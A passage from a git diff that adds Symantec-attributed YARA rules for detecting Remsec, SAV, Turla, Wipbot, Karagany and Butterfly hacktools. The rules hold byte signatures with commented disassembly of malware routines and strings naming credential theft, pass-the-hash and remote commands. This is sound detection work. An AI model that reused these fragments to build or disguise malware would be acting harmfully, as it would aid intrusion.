+$code =
+/*
+0F 82 ?? ?? 00 00               jb      l_0
+80 7? 04 02                     cmp     byte ptr [r0+4], 2
+0F 
+85 ?? ?? 00 00               jnz     l_0
+81 3? 02 AA 02 C1               cmp     dword ptr [r0], 
+0C102AA02h
+0F 85 ?? ?? 00 00               jnz     l_0
+8B ?? 06                        mov     r1, [r0+6]
+*/
+{
+( 0F 82 ?? ?? 00 00 | 72 ?? )
+( 80 | 41 80 ) ( 7? | 7C 24 ) 04 02
+( 0F 85 ?? ?? 00 00 | 75 ?? )
+( 81 | 41 81 ) ( 3? | 3C 24 | 7D 00 ) 02 AA 02 C1
+( 0F 85 ?? ?? 00 00 | 75 ?? )
+( 8B | 41 
+8B | 44 8B | 45 8B ) ( 4? | 5? | 6? | 7? | ?4 24 | 
+?C 24 ) 06
+}
+condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/remsec_packer_A.yar b/yara-mikesxrs/symantec/remsec_packer_A.yar
new file mode 100644
index 0000000..f7c7011
--- /dev/null
+++ b/yara-mikesxrs/symantec/remsec_packer_A.yar
@@ -0,0 +1,26 @@
+rule remsec_packer_A
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+69 ?? AB 00 00 00               imul    r0, 0ABh
+81 C? CD 2B 00 00               add     r0, 2BCDh
+F7 E?                           mul     r0
+C1 E? 0D                        shr     r1, 0Dh
+69 ?? 85 CF 00 00               imul    r1, 0CF85h
+2B                              sub     r0, r1
+*/
+{
+69 ( C? | D? | E? | F? ) AB 00 00 00
+( 81 | 41 81 ) C? CD 2B 00 00
+( F7 | 41 
+F7 ) E?
+( C1 | 41 C1 ) E? 0D
+( 69 | 45 69 ) ( C? | D? | E? | F? ) 85 CF 00 00
+( 29 | 41 29 | 44 29 | 45 29 | 2B | 41 2B | 44 2B | 45 2B )
+}
+condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/remsec_packer_B.yar b/yara-mikesxrs/symantec/remsec_packer_B.yar
new file mode 100644
index 0000000..cb8b6b6
--- /dev/null
+++ b/yara-mikesxrs/symantec/remsec_packer_B.yar
@@ -0,0 +1,63 @@
+rule remsec_packer_B
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+48 8B 05 C4 2D 01 00            mov     rax, cs:LoadLibraryA
+48 89 44 24 48                  mov     qword ptr 
+[rsp+1B8h+descriptor+18h], rax
+48 8B 05 A
+0 2D 01 00            mov     rax, cs:GetProcAddress
+48 8D 4C 24 30                  lea     rcx, 
+[rsp+1B8h+descriptor]
+48 89 44 2
+4 50                  mov     qword ptr 
+[rsp+1B8h+descriptor+20h], rax
+48 8D 84 24 80 00 00 00         lea     rax, 
+[rsp+1B8h+var_138]
+C6 44 24 30 00                  mov     [rsp+1B8h+descriptor], 
+0
+48 89 44 24 60      
+mov     qword ptr 
+[rsp+1B8h+descriptor+30h], rax
+48 8D 84 24 80 00 00 00         lea     rax, 
+[rsp+1B8h+var_138]
+C7 44 24 34 03 00 00 00         mov     dword ptr 
+[rsp+1B8h+descriptor+4], 3
+2B F8             
+sub     edi, eax
+48 89 5C 24 38                  mov     qword ptr 
+[rsp+1B8h+descriptor+8], rbx
+44 89 6C 24 40                  mov     dword ptr 
+[rsp+1B8h+descriptor+10h], r13d
+83 C7 08                    
+add     edi, 8
+89 7C 24 68                     mov     dword ptr 
+[rsp+1B8h+descriptor+38h], edi
+FF D5                           call    rbp
+05 00 00 00 3A                  add     eax, 3A000000h
+*/
+{
+48 8B 05 ?? ?? ?? ??
+48 89 44 24 ??
+48 8B 05 ?? ?? ?? ??
+48 8D 4C 24 ??
+48 89 44 24 ??
+48 8D ( 45 ?? | 84 24 ?? ?? 00 00 )
+( 44 88 6? 24 ?? | C6 44 24 ?? 00 )
+48 89 44 24 ??
+48 8D ( 45 ?? | 84 24 ?? ?? 00 00 )
+C7 44 24 ?? 0? 00 00 00
+2B ?8
+48 89 ?C 24 ??
+44 89 6? 24 ??
+83 C? 08
+89 ?C 24 ??
+( FF | 41 FF ) D?
+( 05 | 8D 88 ) 00 00 00 3A
+}
+condition:
+all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/sav _ dropper.yar b/yara-mikesxrs/symantec/sav _ dropper.yar
new file mode 100644
index 0000000..78e534f
--- /dev/null
+++ b/yara-mikesxrs/symantec/sav _ dropper.yar	
@@ -0,0 +1,14 @@
+rule sav_dropper
+{
+	meta:
+ 		author = "Symantec"
+ 		malware = "SAV dropper"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 	
+    strings:
+ 		$mz = "MZ"
+ 		$a = /[a-z]{,10} _ x64.sys\x00hMZ\x00/
+ 	
+    condition:
+ 		($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/sav.yar b/yara-mikesxrs/symantec/sav.yar
new file mode 100644
index 0000000..0c3e3b5
--- /dev/null
+++ b/yara-mikesxrs/symantec/sav.yar
@@ -0,0 +1,137 @@
+rule sav{
+	meta:
+ 		author = "Symantec"
+ 		malware = "SAV"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers"
+
+	strings:
+		$mz = "MZ"
+/*
+8B 75 18 mov esi, [ebp+arg _ 10]
+31 34 81 xor [ecx+eax*4], esi
+40 inc eax
+3B C2 cmp eax, edx
+72 F5 jb short loc _ 9F342
+33 F6 xor esi, esi
+39 7D 14 cmp [ebp+arg _ C], edi
+76 1B jbe short loc _ 9F36F
+8A 04 0E mov al, [esi+ecx]
+88 04 0F mov [edi+ecx], al
+6A 0F push 0Fh
+33 D2 xor edx, edx
+8B C7 mov eax, edi
+5B pop ebx
+F7 F3 div ebx
+85 D2 test edx, edx
+75 01 jnz short loc _ 9F368
+*/
+	$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+
+/*
+8B 45 F8 mov eax, [ebp+var _ 8]
+40 inc eax
+89 45 F8 mov [ebp+var _ 8], eax
+8B 45 10 mov eax, [ebp+arg _ 8]
+C1 E8 02 shr eax, 2
+39 45 F8 cmp [ebp+var _ 8], eax
+73 17 jnb short loc _ 4013ED
+8B 45 F8 mov eax, [ebp+var _ 8]
+8B 4D F4 mov ecx, [ebp+var _ C]
+8B 04 81 mov eax, [ecx+eax*4]
+33 45 20 xor eax, [ebp+arg _ 18]
+8B 4D F8 mov ecx, [ebp+var _ 8]
+8B 55 F4 mov edx, [ebp+var _ C]
+89 04 8A mov [edx+ecx*4], eax
+EB D7 jmp short loc _ 4013C4
+83 65 F8 00 and [ebp+var _ 8], 0
+83 65 EC 00 and [ebp+var _ 14], 0
+EB 0E jmp short loc _ 401405
+8B 45 F8 mov eax, [ebp+var _ 8]
+40 inc eax
+89 45 F8 mov [ebp+var _ 8], eax
+8B 45 EC mov eax, [ebp+var _ 14]
+40 inc eax
+89 45 EC mov [ebp+var _ 14], eax
+8B 45 EC mov eax, [ebp+var _ 14]
+3B 45 10 cmp eax, [ebp+arg _ 8]
+73 27 jnb short loc _ 401434
+8B 45 F4 mov eax, [ebp+var _ C]
+03 45 F8 add eax, [ebp+var _ 8]
+8B 4D F4 mov ecx, [ebp+var _ C]
+03 4D EC add ecx, [ebp+var _ 14]
+8A 09 mov cl, [ecx]
+88 08 mov [eax], cl
+8B 45 F8 mov eax, [ebp+var _ 8]
+33 D2 xor edx, edx
+6A 0F push 0Fh
+59 pop ecx
+F7 F1 div ecx
+85 D2 test edx, edx
+75 07 jnz short loc _ 401432
+*/
+
+	$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+
+/*
+8A 04 0F mov al, [edi+ecx]
+88 04 0E mov [esi+ecx], al
+6A 0F push 0Fh
+33 D2 xor edx, edx
+8B C6 mov eax, esi
+5B pop ebx
+F7 F3 div ebx
+85 D2 test edx, edx
+75 01 jnz short loc _ B12FC
+47 inc edi
+8B 45 14 mov eax, [ebp+arg _ C]
+46 inc esi
+47 inc edi
+3B F8 cmp edi, eax
+72 E3 jb short loc _ B12E8
+EB 04 jmp short loc _ B130B
+C6 04 08 00 mov byte ptr [eax+ecx], 0
+48 dec eax
+3B C6 cmp eax, esi
+73 F7 jnb short loc _ B1307
+33 C0 xor eax, eax
+C1 EE 02 shr esi, 2
+74 0B jz short loc _ B1322
+8B 55 18 mov edx, [ebp+arg _ 10]
+31 14 81 xor [ecx+eax*4], edx
+40 inc eax
+3B C6 cmp eax, esi
+72 F5 jb short loc _ B1317
+*/
+
+		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5}
+
+/*
+29 5D 0C sub [ebp+arg _ 4], ebx
+8B D1 mov edx, ecx
+C1 EA 05 shr edx, 5
+2B CA sub ecx, edx
+8B 55 F4 mov edx, [ebp+var _ C]
+2B C3 sub eax, ebx
+3D 00 00 00 01 cmp eax, 1000000h
+89 0F mov [edi], ecx
+8B 4D 10 mov ecx, [ebp+arg _ 8]
+8D 94 91 00 03 00 00 lea edx, [ecx+edx*4+300h]
+73 17 jnb short loc _ 9FC44
+8B 7D F8 mov edi, [ebp+var _ 8]
+8B 4D 0C mov ecx, [ebp+arg _ 4]
+0F B6 3F movzx edi, byte ptr [edi]
+C1 E1 08 shl ecx, 8
+0B CF or ecx, edi
+C1 E0 08 shl eax, 8
+FF 45 F8 inc [ebp+var _ 8]
+89 4D 0C mov [ebp+arg _ 4], ecx
+8B 0A mov ecx, [edx]
+8B F8 mov edi, eax
+C1 EF 0B shr edi, 0Bh
+*/
+
+		$code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+
+	condition:
+		($mz at 0) and (($code1a or $code1b or $code1c) and $code2)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/symantec/symantec_index.yara b/yara-mikesxrs/symantec/symantec_index.yara
new file mode 100644
index 0000000..7ff4272
--- /dev/null
+++ b/yara-mikesxrs/symantec/symantec_index.yara
@@ -0,0 +1,746 @@
+import "pe"
+
+rule Bannerjack
+{
+ 	meta:
+ 		author = "Symantec Security Response"
+ 		date = "2015-07-01"
+ 		description = "Butterfly BannerJack hacktool"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+ 	strings:
+ 		$str_1 = "Usage: ./banner-jack [options]"
+ 		$str_2 = "-f: file.csv"
+ 		$str_3 = "-s: ip start"
+ 		$str_4 = "-R: timeout read (optional, default %d secs)"
+ 	condition:
+ 		all of them
+}
+
+rule comrat
+{
+	meta:
+		author = "Symantec"
+		malware = "COMRAT"		
+        Reference="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+
+	strings:
+		$mz = "MZ"
+		$b = {C645????}
+		$c = {C685??FEFFFF??}
+		//$d = {FFA0??0?0000}
+		$e = {89A8??00000068??00000056FFD78B}
+		$f = {00004889????030000488B}
+	
+	condition:
+		($mz at 0) and ((#c > 200 and #b > 200 ) /*or (#d > 40)*/ and (#e > 15 or #f > 30))
+}
+
+
+rule Eventlog 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01" 
+		description = "Butterfly Eventlog hacktool"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1= "wevtsvc.dll"
+		$str_2= "Stealing %S.evtx handle ..."
+		$str_3= "ElfChnk"
+		$str_4= "-Dr Dump all logs from a channel or .evtx file (raw"
+
+	condition: 
+		all of them 
+}
+
+rule fa
+{
+	meta:
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+
+ 	strings:
+ 		$mz = "MZ"
+ 		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+
+		$string2 = "d:\\proj\\cn\\fa64\\"
+		$string3 = "sengoku _ Win32.sys\x00"
+		$string4 = "rk _ ntsystem.c"
+		$string5 = "\\uroboros\\"
+		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+
+	condition:
+ 		($mz at 0) and (any of ($string*))
+}
+
+rule Hacktool 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01" 
+		description = "Butterfly hacktool"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1 = "\\\\.\\pipe\\winsession" wide 
+		$str_2 = "WsiSvc" wide 
+		$str_3 = "ConnectNamedPipe"
+		$str_4 = "CreateNamedPipeW" 
+		$str_5 = "CreateProcessAsUserW"
+        
+	condition: 
+		all of them 
+}
+
+private rule isPE
+{
+	meta:
+		Author = "Symantec"
+		Reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
+
+ 	condition:
+ 		uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x00004550
+}
+
+
+rule jiripbot_ascii_str_decrypt 
+{ 
+	meta: 
+		author ="Symantec Security Response"
+		date ="2015-07-01" 
+		description ="Butterfly Jiripbot hacktool" 
+		reference ="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+	strings: 
+		$decrypt_func = {85 FF 75 03 33 C0 C3 8B C7 8D 50 01 8A 08 40 84 C9 75 F9 2B C2 53 8B D8 80 7C 3B FF ?? 75 3E 83 3D ?? ?? ?? ?? 00 56 BE ?? ?? ?? ?? 75 11 56 FF 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 56 FF 15 ?? ?? ?? ?? 33 C0 85 DB 74 09 80 34 38 ?? 40 3B C3 72 F7 56 FF 15 ?? ?? ?? ?? 5E 8B C7 5B C3} 
+	condition: 
+		$decrypt_func 
+}
+
+rule jiripbot_unicode_str_decrypt 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01"
+		description = "Butterfly Jiripbot Unicode hacktool"
+        reference ="https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$decrypt = {85 ?? 75 03 33 C0 C3 8B ?? 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 57 8B F8 B8 ?? ?? ?? ?? 66 39 44 7E FE 75 43 83 3D ?? ?? ?? ?? 00 53 BB ?? ?? ?? ?? 75 11 53 FF 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 01 00 00 00 53 FF 15 ?? ?? ?? ?? 33 C0 85 FF 74 0E B9 ?? 00 00 00 66 31 0C 46 40 3B C7 72 F2 53 FF 15 ?? ?? ?? ?? 5B 8B C6 5F C3 } 
+	condition: 
+		$decrypt 
+}
+
+rule Trojan_Karagany
+{
+	meta:
+		alias = "Dreamloader"
+		Author = "Symantec"
+		Reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
+
+	strings:
+		$s1 = "neosphere" wide ascii
+		$s2 = "10000000000051200" wide ascii
+		$v1 = "&fichier" wide ascii
+		$v2 = "&identifiant" wide ascii
+		$c1 = "xmonstart" wide ascii
+		$c2 = "xmonstop" wide ascii
+		$c3 = "xgetfile" wide ascii
+		$c4 = "downadminexec" wide ascii
+		$c5 = "xdiex" wide ascii
+		$c6 = "xrebootx" wide ascii
+
+	condition:
+		isPE and (($s1 and $s2) or ($v1 and $v2) or (any of ($c*)))
+}
+
+
+rule Multipurpose 
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01" 
+		description = "Butterfly Multipurpose hacktool" 
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+	strings: 
+		$str_1 = "dump %d|%d|%d|%d|%d|%d|%s|%d"
+		$str_2 = "kerberos%d.dll"
+		$str_3 = "\\\\.\\pipe\\lsassp" 
+		$str_4 = "pth <PID:USER:DOMAIN:NTLM>: change" 
+	condition: 
+		all of them 
+}
+
+rule Proxy
+{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01"
+		description = "Butterfly proxy hacktool" 
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1 = "-u user : proxy username" 
+		$str_2 = "--pleh : displays help" 
+		$str_3 = "-x ip/host : proxy ip or host" 
+		$str_4 = "-m : bypass mutex check"
+        
+	condition: 
+		all of them 
+}
+
+rule sav_dropper
+{
+	meta:
+ 		author = "Symantec"
+ 		malware = "SAV dropper"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 	
+    strings:
+ 		$mz = "MZ"
+ 		$a = /[a-z]{,10} _ x64.sys\x00hMZ\x00/
+ 	
+    condition:
+ 		($mz at 0) and uint32(0x400) == 0x000000c3 and pe.number_of_sections == 6 and $a
+}
+
+rule sav{
+	meta:
+ 		author = "Symantec"
+ 		malware = "SAV"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers"
+
+	strings:
+		$mz = "MZ"
+/*
+8B 75 18 mov esi, [ebp+arg _ 10]
+31 34 81 xor [ecx+eax*4], esi
+40 inc eax
+3B C2 cmp eax, edx
+72 F5 jb short loc _ 9F342
+33 F6 xor esi, esi
+39 7D 14 cmp [ebp+arg _ C], edi
+76 1B jbe short loc _ 9F36F
+8A 04 0E mov al, [esi+ecx]
+88 04 0F mov [edi+ecx], al
+6A 0F push 0Fh
+33 D2 xor edx, edx
+8B C7 mov eax, edi
+5B pop ebx
+F7 F3 div ebx
+85 D2 test edx, edx
+75 01 jnz short loc _ 9F368
+*/
+	$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+
+/*
+8B 45 F8 mov eax, [ebp+var _ 8]
+40 inc eax
+89 45 F8 mov [ebp+var _ 8], eax
+8B 45 10 mov eax, [ebp+arg _ 8]
+C1 E8 02 shr eax, 2
+39 45 F8 cmp [ebp+var _ 8], eax
+73 17 jnb short loc _ 4013ED
+8B 45 F8 mov eax, [ebp+var _ 8]
+8B 4D F4 mov ecx, [ebp+var _ C]
+8B 04 81 mov eax, [ecx+eax*4]
+33 45 20 xor eax, [ebp+arg _ 18]
+8B 4D F8 mov ecx, [ebp+var _ 8]
+8B 55 F4 mov edx, [ebp+var _ C]
+89 04 8A mov [edx+ecx*4], eax
+EB D7 jmp short loc _ 4013C4
+83 65 F8 00 and [ebp+var _ 8], 0
+83 65 EC 00 and [ebp+var _ 14], 0
+EB 0E jmp short loc _ 401405
+8B 45 F8 mov eax, [ebp+var _ 8]
+40 inc eax
+89 45 F8 mov [ebp+var _ 8], eax
+8B 45 EC mov eax, [ebp+var _ 14]
+40 inc eax
+89 45 EC mov [ebp+var _ 14], eax
+8B 45 EC mov eax, [ebp+var _ 14]
+3B 45 10 cmp eax, [ebp+arg _ 8]
+73 27 jnb short loc _ 401434
+8B 45 F4 mov eax, [ebp+var _ C]
+03 45 F8 add eax, [ebp+var _ 8]
+8B 4D F4 mov ecx, [ebp+var _ C]
+03 4D EC add ecx, [ebp+var _ 14]
+8A 09 mov cl, [ecx]
+88 08 mov [eax], cl
+8B 45 F8 mov eax, [ebp+var _ 8]
+33 D2 xor edx, edx
+6A 0F push 0Fh
+59 pop ecx
+F7 F1 div ecx
+85 D2 test edx, edx
+75 07 jnz short loc _ 401432
+*/
+
+	$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+
+/*
+8A 04 0F mov al, [edi+ecx]
+88 04 0E mov [esi+ecx], al
+6A 0F push 0Fh
+33 D2 xor edx, edx
+8B C6 mov eax, esi
+5B pop ebx
+F7 F3 div ebx
+85 D2 test edx, edx
+75 01 jnz short loc _ B12FC
+47 inc edi
+8B 45 14 mov eax, [ebp+arg _ C]
+46 inc esi
+47 inc edi
+3B F8 cmp edi, eax
+72 E3 jb short loc _ B12E8
+EB 04 jmp short loc _ B130B
+C6 04 08 00 mov byte ptr [eax+ecx], 0
+48 dec eax
+3B C6 cmp eax, esi
+73 F7 jnb short loc _ B1307
+33 C0 xor eax, eax
+C1 EE 02 shr esi, 2
+74 0B jz short loc _ B1322
+8B 55 18 mov edx, [ebp+arg _ 10]
+31 14 81 xor [ecx+eax*4], edx
+40 inc eax
+3B C6 cmp eax, esi
+72 F5 jb short loc _ B1317
+*/
+
+		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5}
+
+/*
+29 5D 0C sub [ebp+arg _ 4], ebx
+8B D1 mov edx, ecx
+C1 EA 05 shr edx, 5
+2B CA sub ecx, edx
+8B 55 F4 mov edx, [ebp+var _ C]
+2B C3 sub eax, ebx
+3D 00 00 00 01 cmp eax, 1000000h
+89 0F mov [edi], ecx
+8B 4D 10 mov ecx, [ebp+arg _ 8]
+8D 94 91 00 03 00 00 lea edx, [ecx+edx*4+300h]
+73 17 jnb short loc _ 9FC44
+8B 7D F8 mov edi, [ebp+var _ 8]
+8B 4D 0C mov ecx, [ebp+arg _ 4]
+0F B6 3F movzx edi, byte ptr [edi]
+C1 E1 08 shl ecx, 8
+0B CF or ecx, edi
+C1 E0 08 shl eax, 8
+FF 45 F8 inc [ebp+var _ 8]
+89 4D 0C mov [ebp+arg _ 4], ecx
+8B 0A mov ecx, [edx]
+8B F8 mov edi, eax
+C1 EF 0B shr edi, 0Bh
+*/
+
+		$code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+
+	condition:
+		($mz at 0) and (($code1a or $code1b or $code1c) and $code2)
+}
+
+
+rule Securetunnel 
+	{ 
+	meta: 
+		author = "Symantec Security Response"
+		date = "2015-07-01"
+		description = "Butterfly Securetunnel hacktool"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf"
+
+	strings: 
+		$str_1 = "KRB5CCNAME" 
+		$str_2 = "SSH _ AUTH _ SOCK" 
+		$str_3 = "f:l:u:cehR" 
+		$str_4 = ".o+=*BOX@%&#/^SE"
+
+	condition: 
+		all of them 
+}
+
+	
+rule turla_dll
+{
+	
+    meta:
+ 		Malware = "Trojan.Turla DLL"
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+        
+	strings:
+		$a = /([A-Za-z0-9]{2,10} _ ){,2}Win32\.dll\x00/
+
+	condition:
+		pe.exports("ee") and $a
+}
+
+
+rule turla_dropper
+{
+	meta:
+ 		Malware = "Trojan.Turla dropper"
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 	
+	strings:
+		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+        
+	condition:
+		all of them
+}
+
+rule wipbot_2013_core_PDF
+{
+	meta:
+		author = "Symantec"
+		description = "Trojan.Wipbot 2014 core PDF"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 	strings:
+ 		$PDF = "%PDF-"
+ 		$a = /\+[A-Za-z]{1}\. _ _ \$\+[A-Za-z]{1}\. _ \$ _ \+/
+ 		$b = /\+[A-Za-z]{1}\.\$\$\$ _ \+/
+
+ 	condition:
+ 		($PDF at 0) and #a > 150 and #b > 200
+}
+
+rule wipbot_2013_core 
+{
+ 	meta:
+ 		description = "core + core; garbage appended data (PDF Exploit leftovers) + wipbot dropper; fake AdobeRd32 Error"
+ 		Malware = "Trojan.Wipbot 2013 core component"
+ 		author = "Symantec"
+ 		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+
+ 	strings:
+ 		$mz = "MZ"
+	/*
+ 	8947 0C MOV DWORD PTR DS:[EDI+C], EAX
+ 	C747 10 90C20400 MOV DWORD PTR DS:[EDI+10], 4C290
+ 	C747 14 90C21000 MOV DWORD PTR DS:[EDI+14], 10C290
+ 	C747 18 90906068 MOV DWORD PTR DS:[EDI+18], 68609090
+ 	894F 1C MOV DWORD PTR DS:[EDI+1C], ECX
+ 	C747 20 909090B8 MOV DWORD PTR DS:[EDI+20], B8909090
+ 	894F 24 MOV DWORD PTR DS:[EDI+24], ECX
+ 	C747 28 90FFD061 MOV DWORD PTR DS:[EDI+28], 61D0FF90
+ 	C747 2C 90C20400 MOV DWORD PTR DS:[EDI+2C], 4C290
+ 	*/
+ 		$code1 = { 89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00}
+ 	/*
+ 	85C0 TEST EAX, EAX
+ 	75 25 JNZ SHORT 64106327.00403AF1
+ 	8B0B MOV ECX, DWORD PTR DS:[EBX]
+ 	BF ???????? MOV EDI, ????????
+ 	EB 17 JMP SHORT 64106327.00403AEC
+ 	69D7 0D661900 IMUL EDX, EDI, 19660D
+ 	8DBA 5FF36E3C LEA EDI, DWORD PTR DS:[EDX+3C6EF35F]
+ 	89FE MOV ESI, EDI
+ 	C1EE 10 SHR ESI, 10
+ 	89F2 MOV EDX, ESI
+ 	301401 XOR BYTE PTR DS:[ECX+EAX], DL
+ 	40 INC EAX
+ 	3B43 04 CMP EAX, DWORD PTR DS:[EBX+4]
+ 	72 E4 JB SHORT 64106327.00403AD5
+ 	*/
+ 		$code2 = { 85 C0 75 25 8B 0B BF ?? ?? ?? ?? EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4}
+ 		$code3 = {90 90 90 ?? B9 00 4D 5A 90 00 03 00 00 00 82 04}
+		$code4 = {55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0}
+
+ 	condition:
+ 		$mz at 0 and (($code1 or $code2) or ($code3 and $code4))
+}
+
+rule wipbot_2013_dll 
+{
+ 	meta:
+ 		author = "Symantec"
+		description = "Trojan.Wipbot 2013 DLL"
+		reference = "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf"
+ 		description = "Down.dll component"
+        
+ 	strings:
+		$string1 = "/%s?rank=%s"
+		$string2 = "ModuleStart\x00ModuleStop\x00start"
+		$string3 = "1156fd22-3443-4344-c4ffff"
+		//read file... error..
+		$string4 = "read\x20file\x2E\x2E\x2E\x20error\x00\x00"
+
+	condition:
+		2 of them
+}
+
+rule remsec_executable_blob_32
+{
+meta:
+copyright = "Symantec"
+strings:
+$code =
+/*
+31 06                       l0: xor     [esi], eax
+83 C6 04                        add     esi, 4
+D1 E8                           shr     eax, 1
+73 05              
+jnb     short l1
+35 01 00 00 D0                  xor     eax, 0D0000001h
+E2 F0                       l1: loop    l0
+*/
+{
+31 06
+83 C6 04
+D1 E8
